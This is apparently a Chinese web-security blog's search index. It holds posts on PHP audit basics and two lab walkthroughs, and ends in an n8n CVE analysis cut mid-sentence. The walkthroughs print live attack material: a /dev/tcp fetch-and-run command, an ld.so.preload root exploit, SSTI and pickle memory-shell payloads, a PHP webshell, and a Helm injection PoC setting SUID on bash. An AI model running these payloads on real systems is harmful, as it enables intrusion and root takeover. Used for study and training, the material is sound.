[{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/","section":"Coinsheep","summary":"","title":"Coinsheep","type":"page"},{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/tags/php/","section":"标签","summary":"","title":"PHP","type":"tags"},{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":" 前言 # 一个 Web 狗的自我修养。\n学了这么久了,也有一年了,浑浑噩噩的,抽课余时间学.还是很菜.又到了找班上的年纪.在此发现对于web的学习或者说对于整个安全方向的学习,我着相了,为什么这么说呢.我总是想着从基础一步一步堆上去,但殊不知基础这个东西太广泛我觉得应该是遇到一个去学一个,在学某个点的途中一定有你还不知道的其他点就tm跟goto一样再点进去看接着学.看多了就记住了. PHP相关 # 这期是php相关的一些基本内容.\n超级全局变量 # 变量覆盖安全： $GLOBALS：这种全局变量用于在PHP脚本中的任意位置访问全局变量 数据接收安全： $_REQUEST：$_REQUEST 用于收集 HTML 表单提交的数据。 $_POST：广泛用于收集提交method=\u0026#34;post\u0026#34; 的HTML表单后的表单数据。 $_GET：收集URL中的发送的数据。也可用于提交表单数据(method=\u0026#34;get\u0026#34;) $_ENV：是一个包含服务器端环境变量的数组。 $_SERVER：这种超全局变量保存关于报头、路径和脚本位置的信息。 文件上传安全： $_FILES：文件上传且处理包含通过POST方法上传给当前脚本的文件内容。 身份验证安全： $_COOKIE：是一个关联数组，包含通过cookie传递给当前脚本的内容。本地客户端浏览器存储 $_SESSION：是一个关联数组，包含当前脚本中的所有session内容。目标服务端存储，存储记录的数据 超级全局变量$GLOBALS\n如图所示,当然下面的也可以直接写echo $X这也是没问题的，会报错但是还是会执行。其实就是一个变量生存周期的问题，经过$GLOBALS[]来定义的变量是作用在全局域的，而function内部是函数域不会对其进行修改。就算我这里最开始是$GLOBALS[\u0026lsquo;y\u0026rsquo;]然后函数内部依然这样写也是不会动被GLOBALS修饰的变量y的。也就是说$y在函数内部被创建和销毁。就像这里在add()函数里，我们定义了一个变量y令他=3但是原本的y=2，最终函数执行后的结果也一定是y=2。\n没有打换行大家将就看看，而函数内部写了$GLOBALS['Z'] = $GLOBALS['X'] + $y;这个时候执行的实际上是y=3了，因为函数域下认的是写在{}里面的$y=3;。一句话说完，$GLOBALS[]定义的变量它的作用域更广且只和代码上下顺序有关。所以可以用$GLOBALS[]去覆盖$定义的变量。\n下面是一个最好理解的发请求的例子\nREQUEST呢无论你发get还是post请求都是可以获取到参数的，其他的就各论个的。\n遇到这种$c = $_COOKIE['c']这种也是一样的我们在改请求头的时候传一个cookie的值为c=\u0026hellip;他也是接收到的。其他的就不多演示了。这里的@是抑制错误输出的，但是现在高版本已经不这么用了。因为会隐藏真正的问题。\n至于COOKIE和SESSION这俩它的区别在于前置是在客户端存储，后者是在服务端存储。注意后者需要使用session_start()来开启使用session。超级全局变量的覆盖可能会在处理用户输出的时候使用到，但是具体要看源码，一般使用这样的超级全局变量的覆盖多数是白盒里面找到的，黑盒一般不会是这个思路。有更多详细的信息关于超级全局变量可以看菜鸟教程https://www.runoob.com/php/php-superglobals.html这里不占过多的篇幅。当然有个特殊的稍微记忆一下就好了\n$a = \u0026#34;aaa\u0026#34;; $$a = 111; echo $aaa; //输出111 这个其实拆开就很好理解了，先算$a再算$($a)这个意思所以才有了$aaa == 111 。\nCookie\u0026amp;Session # 前者保存在客户端，实际上是一个记录身份校验信息的文件，可能是保存的账密的序列化字符串或者其他的，这个可以由setcookie来定义，后者保存在服务端，其形式也是一个序列化字符串，但是他在浏览器中不直接显示值而是显示的是session的那个文件名如PHPSESSID:18e9asdl21easd之类的。而cookie在浏览器不加密的情况下可以直接看到其中的值，当然这俩东西都不一定要保存密码或者账号，只要是开发者认为是能用作身份校验的就可以放里边。而后者要启用需要使用session_start()\n$_SESSION[\u0026#39;user_id\u0026#39;] = 123; $_SESSION[\u0026#39;username\u0026#39;] = \u0026#39;zhangsan\u0026#39;; $_SESSION[\u0026#39;cart\u0026#39;] = [\u0026#39;商品A\u0026#39;, \u0026#39;商品B\u0026#39;]; // 购物车 $_SESSION[\u0026#39;login_time\u0026#39;] = time(); $_SESSION[\u0026#39;permissions\u0026#39;] = [\u0026#39;admin\u0026#39;, \u0026#39;edit\u0026#39;]; $_SESSION[\u0026#39;temp_data\u0026#39;] = $someArray; 一个简单的登录示例\n\u0026lt;?php session_start(); if (isset($_SESSION[\u0026#39;user_id\u0026#39;])) { echo \u0026#34;已登录，用户ID：\u0026#34; . $_SESSION[\u0026#39;user_id\u0026#39;]; } else { echo \u0026#34;未登录\u0026#34;; } Token # token分防CSRF的token，一次性token，JWT(后面再说)等，CSRFtoken呢就是我们之前提到的session。我们说session可以存数据然后给客户端的返回形式是他的文件名，那么如果说我们把token存入session中那么服务端就会得到某一个值。而不同session存的token不一样所以就有效防御了CSRF.什么意思呢，就是说我们每次生成一个校验值(token)交给服务器存起来，每次你交互的时候服务器会对比这个token是不是你的。比如别人拿到了账密从其他地方登录发现客户端携带的token和服务端存储的token对应不上他就不会校验账密。另一种一次性token呢就是每次会话生成一个新的校验值，交互时先校验那个值再校验账密就能防止burp的重放。但是一旦下一个token变得可预测一样可以去爆破。\n弱比较 # 弱比较的本质就追溯到==和===中，其实在实战中基本很难遇到这个点，在CTF赛制还是要出现。原因在于==会在比较前进行隐式类型转换，会把不同类型转换成相同类型进行比较，而===不会进行类型转换，通俗来说就是后者会即比较类型又比较值。下面是一些常见的==类型转换的案例。这里不会深究因为网上一搜一大坨当然也记不完，我们把特殊的记住然后到时候是在不行打开IDE自己敲两个出来也可以。\n0 == \u0026#34;0\u0026#34; // true 0 == \u0026#34;0e123\u0026#34; // true 0 == \u0026#34;abc\u0026#34; // PHP 7：true（非数字字符串转成 0）；PHP 8：false 1 == \u0026#34;1abc\u0026#34;\t// PHP 7：true；PHP 8：false 0 == null // true 0 == false // true \u0026#34;0e123\u0026#34; == \u0026#34;0e456\u0026#34; // true（都转成数字 0）科学计数法 true == \u0026#34;1\u0026#34; // true 注意版本：PHP 8 收紧了数字与字符串的比较——比较时不再把非数字字符串转成 0，而是把数字转成字符串再比。所以 0 == \u0026quot;abc\u0026quot;、1 == \u0026quot;1abc\u0026quot; 在 PHP 8 里都是 false，只有 0 == \u0026quot;0\u0026quot;、0 == \u0026quot;0e123\u0026quot; 这类数字字符串仍然成立。审计时先确认目标跑的是哪个版本。\nstrcmp($a, $b)这个函数用于比较a和b两个谁更大，$a \u0026lt; $b 返回负数，$a == $b 返回 0，$a \u0026gt; $b 返回正数。PHP 7 及以前参数传数组会被当成 null、函数返回 null，所以能绕过；PHP 8 起参数类型不符直接抛 TypeError，这条路就断了。\nstrcmp([], \u0026#34;abc\u0026#34;) == 0 // PHP 7：true（null == 0）；PHP 8：TypeError in_array和array_search两者默认是弱比较，其实这两个函数有三个参数前两个分别是值和数组，后面有一个参数来决策开不开强比较。\nin_array(0, [\u0026#34;admin\u0026#34;, \u0026#34;user\u0026#34;]) // PHP 7：true；PHP 8：false in_array(0, [\u0026#34;0e123\u0026#34;, \u0026#34;abc\u0026#34;]) // true（\u0026#34;0e123\u0026#34; 是数字字符串，PHP 8 也成立） array_search(0, [\u0026#34;admin\u0026#34;, \u0026#34;user\u0026#34;]) // PHP 7：返回 0（键名）；PHP 8：返回 false 这个时候就是弱比较。还有就是下面的md5()这个函数，当然也可以使用数组绕过传两个数组过去\nmd5(\u0026#34;240610708\u0026#34;) === \u0026#34;0e462097431906509019562988736854\u0026#34; // 字符串 md5(\u0026#34;QNKCDZO\u0026#34;) === \u0026#34;0e830400451993494058024219903391\u0026#34; // 弱比较时： md5(\u0026#34;240610708\u0026#34;) == md5(\u0026#34;QNKCDZO\u0026#34;) // true（0 == 0） \u0026#34;0e123\u0026#34; == \u0026#34;0e456\u0026#34; // true 一个经典的CTF题目相信很多人都做过。\nif ($_GET[\u0026#39;a\u0026#39;] != $_GET[\u0026#39;b\u0026#39;] \u0026amp;\u0026amp; md5($_GET[\u0026#39;a\u0026#39;]) === md5($_GET[\u0026#39;b\u0026#39;])) { echo \u0026#34;flag{...}\u0026#34;; } 这个时候就可以?a[]=1\u0026amp;b[]=2来绕过，原理也说了数组类型会被转换为null类型最后都会相等。不过这也是 PHP 7 及以前的玩法，PHP 8 下 md5() 收到数组直接抛 TypeError，脚本会挂但拿不到 flag。\n数组绕过\nmd5([]) // PHP 7：null（带 warning）；PHP 8：TypeError sha1([]) // PHP 7：null；PHP 8：TypeError strcmp([], \u0026#34;xx\u0026#34;) // PHP 7：null；PHP 8：TypeError null == 0 // true null == false // true null == \u0026#34;\u0026#34; // true 很多字符串函数在 PHP 7 下收到数组会返回 null。至于反序列化中的弱比较问题其实实际上还是==问题的放大。\n$obj = unserialize($_GET[\u0026#39;o\u0026#39;]); if ($obj-\u0026gt;user == \u0026#34;admin\u0026#34; \u0026amp;\u0026amp; $obj-\u0026gt;pass == $correct_pass) { // 成功 } 比如这样的代码，然后我们来看反序列化后的一个序列O:4:\u0026quot;user\u0026quot;:2:{s:1:\u0026quot;a\u0026quot;;i:0;s:1:\u0026quot;b\u0026quot;;a:0:{}}这是一个序列化的结果，具体怎么解释就不多说了。当看到校验的时某一个具体属性时我们只需要在类中去修改属性满足局部就完了呗。\nsmarty # smarty是php的一种模板引擎，形如{$\u0026lt;变量名\u0026gt;}而这个变量可以执行表达式。模板的本意是为了方便修改。这个东西说白了就是调用。\n\u0026lt;?php require_once __DIR__ . \u0026#39;/libs/Smarty.class.php\u0026#39;; $smarty = new Smarty(); // 配置目录 $smarty-\u0026gt;setTemplateDir(__DIR__ . \u0026#39;/templates/\u0026#39;); $smarty-\u0026gt;setCompileDir(__DIR__ . \u0026#39;/templates_c/\u0026#39;); $smarty-\u0026gt;setCacheDir(__DIR__ . \u0026#39;/cache/\u0026#39;); // 关闭缓存（开发时建议关闭） $smarty-\u0026gt;caching = false; // 赋值变量 $smarty-\u0026gt;assign(\u0026#39;title\u0026#39;, \u0026#39;Smarty Demo\u0026#39;); $smarty-\u0026gt;assign(\u0026#39;name\u0026#39;, \u0026#39;张三\u0026#39;); $smarty-\u0026gt;assign(\u0026#39;age\u0026#39;, 22); $smarty-\u0026gt;assign(\u0026#39;users\u0026#39;, [ [\u0026#39;id\u0026#39; =\u0026gt; 1, \u0026#39;name\u0026#39; =\u0026gt; \u0026#39;Alice\u0026#39;, \u0026#39;score\u0026#39; =\u0026gt; 95], [\u0026#39;id\u0026#39; =\u0026gt; 2, \u0026#39;name\u0026#39; =\u0026gt; \u0026#39;Bob\u0026#39;, \u0026#39;score\u0026#39; =\u0026gt; 88], [\u0026#39;id\u0026#39; =\u0026gt; 3, \u0026#39;name\u0026#39; =\u0026gt; \u0026#39;Charlie\u0026#39;,\u0026#39;score\u0026#39; =\u0026gt; 76], ]); //index.tpl中可能就这样写的嘛，{$name}这个实际渲染就是1张三撒。users这里可以通过id绑定来看不同的{$name}的值嘛。比如{$use} // 渲染模板 $smarty-\u0026gt;display(\u0026#39;index.tpl\u0026#39;); $smarty-\u0026gt;display($_GET[\u0026#39;a\u0026#39;]);//这儿个地方如果我们这样写 来看一个demo，看最后一行如果我们这样来处理输入，实际上真正渲染模板的代码是最后一行这个写法。其实这也同时给了我们一个代码审计点，找模板渲染的实际是哪个文件或者参数，当参数或文件可控时就可以走SSTI，同时还要看版本信息，不同版本模板引擎的编译逻辑和渲染逻辑不一样，还有编译的产物也不一样。下面是一个示例的tpl\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;{$title}\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { font-family: Arial, sans-serif; margin: 40px; } table { border-collapse: collapse; width: 400px; } th, td { border: 1px solid #ccc; padding: 8px; text-align: left; } th { background: #f0f0f0; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;{$title}\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;你好，{$name}！你今年 {$age} 岁。\u0026lt;/p\u0026gt; \u0026lt;h3\u0026gt;用户列表：\u0026lt;/h3\u0026gt; \u0026lt;table\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt;ID\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;姓名\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;分数\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; {foreach $users as $user} \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;{$user.id}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{$user.name}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{$user.score}\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; {/foreach} \u0026lt;/table\u0026gt; {* 这是注释，不会显示 *} {if $age \u0026gt;= 18} \u0026lt;p style=\u0026#34;color: green;\u0026#34;\u0026gt;已成年\u0026lt;/p\u0026gt; {else} \u0026lt;p style=\u0026#34;color: red;\u0026#34;\u0026gt;未成年\u0026lt;/p\u0026gt; {/if} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 模板当然还有很多倒是遇到一个看一个就成，先以smarty为例而已。\n框架 # 这里以thinkphp为例来说说\n入口文件\n手册里说的很清楚，也就是说正常的入口就是public目录下的index.php。\nURL访问，其实说的是URL中的目录对实际源码目录的映射关系。搭建出来看看\n实际看到的根目录是/app/controller/index.php。\n这样就能很清楚的看到URL访问，/index.php是入口。根据手册看的由入口进去，控制器就是controller下面的那个文件，这里叫index.php嘛那控制器就是index。里面写的test方法，那就直接访问就行了。和tp5.0的访问一样的。反正就根据文档看怎么写的就行了。主要是要看懂它的写法比如：\nDb::table(\u0026#39;think_user\u0026#39;)-\u0026gt;where(\u0026#39;id\u0026#39;, 1)-\u0026gt;find(); //SELECT * FROM `think_user` WHERE `id` = 1 LIMIT 1 这两个写法是等价的，我们需要看得懂他这是什么意思才行。还有结合我们之前提到的模板渲染，需要有保存模板的位置\n前端的比如我渲染的是index.html那么就直接像我们之前提到的tpl那样写就行了。我们需要知道的是它的结构是什么样的，这样才能快速定位文件。重点是两处：入口 public/index.php；模板目录（TP5 在 application/应用名/view，TP6 在 app/应用名/view），模板后缀常见 .html、.tpl。\n一些命令执行审计点 # 低版本的就不再说了。其实一个我常用的审计思路就是找exec,excute,eval,system啊之类的全局搜。我们以最常见的一句话木马来说\n\u0026lt;?php eval($_GET['a']);?\u0026gt;它本身的意义其实是代码执行只不过我们在输入a参数的值时习惯这样写system(\u0026rsquo;ls\u0026rsquo;);所以严格来说是因为代码执行导致的命令执行。文件包含也是一个道理——包含实际上是把那个文件当 php 执行。\neval();//这些就不细说了太常见了 assert();//PHP 7 及以前传字符串会当代码执行；PHP 8 起不再执行字符串 exec(); system(); passthru(); require(\u0026#39;1.txt\u0026#39;);# \u0026lt;?php eval(system(\u0026#39;whoami\u0026#39;));?\u0026gt; include(); create_function(\u0026#39;$a,$b\u0026#39;, \u0026#39;return $a+$b\u0026#39;); /*这个就等同于*/ function add($a,$b){ return $a+$b; }//一个老案例这样写create_function(\u0026#39;$a,$b\u0026#39;,\u0026#39;;}phpinfo()/*\u0026#39;); 那么有可能就是这样的create_function(\u0026#39;$a,$b\u0026#39;, $_GET[\u0026#39;cmd\u0026#39;]);那么就控制cmd参数呗。 总结 # 总的来说呢，可以总体串一下很多语言我们说的弱语言也好，解释型的也好其实很多东西是相似的，我们需要的是思路，不要以开发的眼光去看待代码审计。像smarty这种模板引擎就是可以类比像python的，js的，java的等等其它语言的。本文并没有事无巨细的说完所有的这些但是用来扫盲还是将就。这里笔者建议前期可以多看看漏洞复现，之前笔者也学的很乱但是现在串一串之后感觉还好正好还有一些能够补上，当然这期仍然是基础也许没有说完，师傅们轻点喷。\n","date":"2026-11-01","externalUrl":null,"permalink":"/posts/weber-self-cultivation-2/","section":"Posts","summary":"前言 # 一个 Web 狗的自我修养。\n","title":"Weber 的自我修养 Ⅱ：PHP 篇","type":"posts"},{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/tags/web%E5%AE%89%E5%85%A8/","section":"标签","summary":"","title":"Web安全","type":"tags"},{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/tags/","section":"标签","summary":"","title":"标签","type":"tags"},{"content":"","date":"2026-11-01","externalUrl":null,"permalink":"/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/","section":"Categories","summary":"","title":"技术笔记","type":"categories"},{"content":" 80口看看服务\n中间件是个安全版本，dirsearch扫一下目录\n有/.git 试了试githack，效果不如gitdumper,githack只能get一个index.php但是githack也可以\ngit log -p\n搜了一下这个googleotp，应该就是身份验证器\n还搜到一个这个工具\n进来后还是老样子，测网，反弹shell。\n然后键入bash切到bash传入linpeas.sh进去扫一下当然你得先在攻击机上面下一个linpeas\nsudo nc -q 5 -lvnp 8888 \u0026lt; linpeas.sh #Host cat \u0026lt; /dev/tcp/\u0026lt;攻击机IP\u0026gt;/8888 | sh #Victim 分析扫描结果\nYou have write privileges over /etc/ld.so.preload\n这里有写入权限到这儿不会了选择了当蛆\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void _init() { unsetenv(\u0026#34;LD_PRELOAD\u0026#34;); unlink(\u0026#34;/etc/ld.so.preload\u0026#34;); // 提权到root setgid(0); setuid(0); system(\u0026#34;/bin/bash -p\u0026#34;); } 编译一下\ngcc -shared -fPIC -nostartfiles -o evil_lib.so evil_lib.c echo \u0026#34;/tmp/evil_lib.so\u0026#34; \u0026gt; /etc/ld.so.preload 然后输入sudo -l\nwww-data@Xuanji:/tmp$ vi evil_lib.c www-data@Xuanji:/tmp$ gcc -shared -fPIC -nostartfiles -o evil_lib.so evil_lib.c www-data@Xuanji:/tmp$ echo \u0026#34;/tmp/evil_lib.so\u0026#34; \u0026gt; /etc/ld.so.preload www-data@Xuanji:/tmp$ sudo -l root@Xuanji:/tmp# id uid=0(root) gid=0(root) groups=0(root),33(www-data) 然后cat root.txt和user.txt就可以出了。建议多尝试，对于我来说整个凹点在于linpeas的传入但是看到了官方文档还有就是exp.c的书写\n","date":"2026-10-27","externalUrl":null,"permalink":"/posts/xuanji-walkthrough/","section":"Posts","summary":" 80口看看服务\n中间件是个安全版本，dirsearch扫一下目录\n","title":"xuanji 靶机学习","type":"posts"},{"content":"","date":"2026-10-27","externalUrl":null,"permalink":"/tags/%E9%9D%B6%E6%9C%BA/","section":"标签","summary":"","title":"靶机","type":"tags"},{"content":"","date":"2026-10-27","externalUrl":null,"permalink":"/tags/%E6%8F%90%E6%9D%83/","section":"标签","summary":"","title":"提权","type":"tags"},{"content":"namp扫出来\n8080端口的http代理服务还有22的ssh服务\n访问后看到python服务猜测是ssti，测了{{7*7}} 发现回显 {{7*7}}，注入点是username。卡了小半天，想了一下测了下这个{{url_for.__globals__['__builtins__']['eval'](\u0026quot;__import__('os').popen('sleep 10').read()\u0026quot;)}}明显的延迟10秒，那么就是无回显ssti遂尝试反弹shell，弹不了，再试试写一句话{{open('/var/www/html/shell.php','w').write('\u0026lt;?php eval($_POST[1]);?\u0026gt;')}}\n无回显ssti写内存马 # 估计是被过滤了原来是要写内存马，关于内存马可以看这篇浅谈python内存马 - Sauy\u0026rsquo;s corner\n{{\u0026#39;\u0026#39;.__class__.__mro__[-1].__subclasses__() [abking].__init__.__globals__[\u0026#39;__builtins__\u0026#39;][\u0026#39;eval\u0026#39;] (\u0026#34;__import__(\u0026#39;pickle\u0026#39;).loads(__import__(\u0026#39;base64\u0026#39;).b64decode(\u0026#39;gANjYnVpbHRpbnMKZXh lYwpxAFhpAQAACmRlZiBmKCk6CiAgICByZXR1cm4gX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLmN 1cnJlbnRfYXBwLmJlZm9yZV9yZXF1ZXN0X2Z1bmNzLnNldGRlZmF1bHQoTm9uZSwgW10pLmFwcGVuZCh sYW1iZGE6IENtZFJlc3AgaWYgX19pbXBvcnRfXygnZmxhc2snKS5nbG9iYWxzLnJlcXVlc3QuZm9ybS5 nZXQoJ2Fia2luZycpIGFuZCBleGVjKCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oJ2Z sYXNrJykubWFrZV9yZXNwb25zZShfX2ltcG9ydF9fKCdvcycpLnBvcGVuKF9faW1wb3J0X18oJ2ZsYXN rJykuZ2xvYmFscy5yZXF1ZXN0LmZvcm0uZ2V0KCdhYmtpbmcnKSkucmVhZCgpKSIpPT1Ob25lIGVsc2U gTm9uZSkKZigpCnEBhXECUnEDLg==\u0026#39;))\u0026#34;)}} 注意连接类型要选CMDLINUX。\nfind / -perm -4000 -type f -exec ls -la {} 2\u0026gt;/dev/null ;\n接着找一下suid提权。\n看到最后有个game，很可疑啊。。看看是个什么\n应该是自定义的程序，不像是常规的suid\nssh公钥连接 # 执行后是一个猜数字的游戏，然后自动运行清空了/opt/data。尝试先写入公钥ssh连接\n#kali 执行 ssh-keygen -t rsa（一直回车三次就行） #然后将获得的结果中ssh-rsa AAAAB3NzaC1yc2EAAAA.... root@kali的一串复制下来 #靶机执行: cd mkdir -p ~/.ssh chmod 700 .ssh echo \u0026#34;这里粘贴你复制的公钥\u0026#34; \u0026gt; ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys 然后发现需要eecho的用户密码哈。。。gg那就换其他思路，最后看到wp看到使用了penelope\n这里说一下我写入公钥踩的几个坑，一个是权限，.ssh目录必须是700，authorized_keys必须是600，然后就是公钥千万不要写错了，然后就是你的kali的目录必须在有id_rsa的目录下或者使用-i指定绝对路径。\n然后就是使用helm进行提权。。。\n我的kali之前没有下过需要下载。\nwget https://get.helm.sh/helm-v3.6.1-linux-amd64.tar.gz # 解压压缩包 tar -xf helm-v3.6.1-linux-amd64.tar.gz # 将helm文件拷贝到系统path路径下 cp linux-amd64/helm /usr/local/bin/helm # 验证 helm version 然后使用helm create创建一个项目然后cd到你的那个项目里面\n此时你是第一次的话charts是空的\n# 1. 进入你的test chart目录（已在的话跳过） cd /home/kali/Desktop/my-test-chart # 2. 添加gatekeeper官方仓库（仅拉取包用，后续离线使用） helm repo add gatekeeper https://open-policy-agent.github.io/gatekeeper/charts # 3. 拉取gatekeeper 3.19.2到本地charts目录（生成tgz包，核心步骤） helm pull gatekeeper/gatekeeper --version 3.19.2 -d charts/ 然后执行上面的命令\n使用scp传入gatekeeper-3.19.2.tgz。\n在tmp目录下创建cve文件夹然后创建charts目录然后把gatekeeper-3.19.2.tgz导入，其实这是一个包管理器，相当于我直接在靶机上面下载一个poc\nCVE-2025-53547：Helm依赖更新代码注入漏洞分析及深度思考-先知社区\nname: CVE-2025-53547 apiVersion: v2 description: this is a CVE-2025-53547 poc yaml version: 1.0.0 appVersion: v1.0.0 keywords: - helm - CVE-2025-53547 home: https://github.com/DVKunion/CVE-2025-53547-POC sources: - https://github.com/DVKunion/CVE-2025-53547-POC dependencies: - name: gatekeeper;chmod +s /bin/bash version: 3.19.2 repository: \u0026#39;file:///tmp/cve/charts/gatekeeper\u0026#39; 最终写入的是这个。。\n链接到Chart.lock。。。。\nChart.yaml创建错位置了。。。应该在cve目录下。。\n然后玩游戏清掉/opt/data。\n然后执行helm dependency build\nflag:flag{root-bb62f4f75dd665225409bd1a3ae87665}\n","date":"2026-10-27","externalUrl":null,"permalink":"/posts/horse-walkthrough/","section":"Posts","summary":"namp扫出来\n8080端口的http代理服务还有22的ssh服务\n","title":"Horse 靶机学习","type":"posts"},{"content":"","date":"2026-10-27","externalUrl":null,"permalink":"/tags/ssti/","section":"标签","summary":"","title":"SSTI","type":"tags"},{"content":" 一、环境搭建 # cmd 执行 git clone https://github.com/Chocapikk/CVE-2026-21858.git。\n然后可以选择使用docker build 或者 docker compose 都行\ndocker build -t \u0026lt;镜像名\u0026gt; .\ndocker compose up -d\n然后访问本地的5678端口前者的话记得docker run 一下。\n二、漏洞描述 # N8N是AI和AI代理时代构建自动化工作流程的首选平台。拥有超过一亿次Docker拉取、数百万用户和数千家企业在使用它，n8n已成为自动化基础设施的中枢神经系统，你的组织很可能也会使用它。\nN8N 提供了友好的拖拽界面和无数集成，让即使是技术最低限的用户也能创建自动化和卸载任务。\n如果你能想象，你大概可以用n8n来建造。\n在其 1.121.0 之前的版本中，存在一个输入验证错误漏洞（CVE-2026-21858）。由于系统未对 Webhook 请求及表单节点输入进行充分校验，未经身份认证的用户可通过公开的表单型工作流节点，绕过权限控制机制，直接访问服务器上的敏感文件。\n受影响版本 # n8n 版本 \u0026lt; 1.121.0。\n漏洞原理 # 在n8n的工作流程中使用webhook作为起点来接受入站数据，然后将接受到的入站数据传给parseRequestBody()的一个函数，这里给出函数源码\n/** * Parses the request body (form, xml, json, form-urlencoded, etc.) if needed * into the `req.body` property. */ async function parseRequestBody(req: WebhookRequest, ...) { // truncated for clarity const { contentType } = req; if (contentType === \u0026#39;multipart/form-data\u0026#39;) { req.body = await parseFormData(req); // populates req.body.data, req.data.files } else { if ( contentType?.startsWith(\u0026#39;application/json\u0026#39;) || contentType?.startsWith(\u0026#39;text/plain\u0026#39;) || contentType?.startsWith(\u0026#39;application/x-www-form-urlencoded\u0026#39;) || contentType?.endsWith(\u0026#39;/xml\u0026#39;) || contentType?.endsWith(\u0026#39;+xml\u0026#39;) ) { await parseBody(req); // populates req.body.data } } } 这个函数相当于是识别请求头然后进行分类并且把解码后的结果塞到req.body(全局变量)中去，对于表单数据请求，它使用parseFormData函数。对于所有其他内容类型，它使用parseBody函数相当于就是把数据做了分类给其他函数进行进一步的处理。关键在于他会把结果存储到req.body这是个全局变量。 接着他的文件上传部分是parseFormData(文件上传解析器)，这个函数实际上是Formidable。\nFormidable 是一个Node.js库，专门用于处理文件上传。\n它解析多部分/表单数据请求，处理所有文件上传机制——包括安全方面。\n这里重要的安全细节是——当Formidable处理上传文件时，它会自动将其保存到临时目录中随机生成的路径。这意味着用户无法控制文件最终到达的位置，从而防止路径穿越攻击。\n关键在于这个解析函数会用Formidable的解析输出结果给到 req.body.files 而不是给 req.body。所以整个流程是webhook接受数据然后给parseRequestBody()函数去判断是不是表单数据如果是就交给parseFormData不是就交给parseBody然后通过各自的解析将结果输出给req.body或req.body.file等全局变量\n┌───────────────────────┐ │ Webhook 节点 │ ← 接收外部入站数据（POST请求） └───────────┬───────────┘ │ ▼ ┌───────────────────────┐ │ parseRequestBody() │ ← 核心解析入口函数 └───────────┬───────────┘ │ ▼ 读取请求头 Content-Type │ ┌─────┴─────┐ ▼ ▼ ┌────────────┐ ┌─────────────────────────────────┐ │ 是 multipart/│ │ 其他类型（JSON/XML/表单/文本） │ │ form-data？ │ │ │ └──────┬──────┘ └───────────────┬─────────────────┘ │ │ ▼ ▼ ┌────────────────┐ ┌────────────────┐ │ parseFormData()│ │ parseBody() │ │ (基于Formidable)│ │ │ └────────┬───────┘ └────────┬───────┘ │ │ ▼ ▼ ┌────────────────────┐ ┌────────────────────┐ │ 结果存入： │ │ 结果存入： │ │ req.body.data │ │ req.body.data │ │ req.body.files │ │ │ └────────────────────┘ └────────────────────┘ 在 n8n 中，任何文件处理函数的标准做法是直接从req.body.file获取上传的文件。\nasync webhook(ctx: IWebhookFunctions): Promise\u0026lt;IWebhookResponseData\u0026gt; { // truncated for clarity if (enableStreaming) { if (req.contentType === \u0026#39;multipart/form-data\u0026#39;) { returnData = [await this.handleFormData(ctx)]; // \u0026lt;---- right here } else { returnData = [{ json: bodyData }]; } // ... } // .... } 这个很好看了吧，他把表单数据交给handleFormData来处理。那么正常的逻辑是上传文件然后分类到parseFormData函数然后交给req.body.files然后再被文件处理函数接受到handleFormData。那我们接着看handleFormData函数是什么逻辑。\nprivate async handleFormData(context: IWebhookFunctions) { const req = context.getRequestObject() as MultiPartFormData.Request; const { data, files } = req.body; // \u0026lt;--- fetch files // truncated for clarity if (files \u0026amp;\u0026amp; Object.keys(files).length) { // file processing logic } return returnItem; } 他定义了data和files两个字段来存储req.body中得到的结果，而我们知道req.body是经过非表单数据提交得到的数据。那么也就是说我们如果通过改包让最开始的分类逻辑调用的是parseBody()函数。那么正常来说他应该是有req.body.data这个数据对吧，而files是空的才对。那如果我们传入了一个json串那么它的files会被覆盖掉吗？答案是肯定的。借鉴一下大佬的图（真的讲的很清楚）\n处理表单提交的函数是formWebhook\nexport async function formWebhook(context: IWebhookFunctions, ...) { // ... const req = context.getRequestObject(); // fetch request object const method = context.getRequestObject().method; // Show the form on GET request if (method === \u0026#39;GET\u0026#39;) { // ... } // process form on POST request // no verification of the Content-Type (!) const returnItem = await prepareFormReturnItem(context,formFields,mode,useWorkflowTimezone); return { webhookResponse: { status: 200 }, workflowData: [[returnItem]], }; } 我们直接来看关键的prepareFormReturnItem()函数\nexport async function prepareFormReturnItem( context: IWebhookFunctions, // ... 其他参数省略 ) { // truncated for clarity const req = context.getRequestObject(); const files = req.body.files; // \u0026lt;-- fetches req.body.files let fileCount = 0; if (files \u0026amp;\u0026amp; Object.keys(files).length) { // no files, return } for (const file of files) { returnItem.binary![fileCount++] = await context.nodeHelpers.copyBinaryFile( file.filepath, file.originalFilename, file.mimetype ); } } 这是一个文件处理函数，调用 req.body.files 中的每个文件 copyBinaryFile（） 。\ncopyBinaryFile（） 函数将文件从其临时路径（存储在 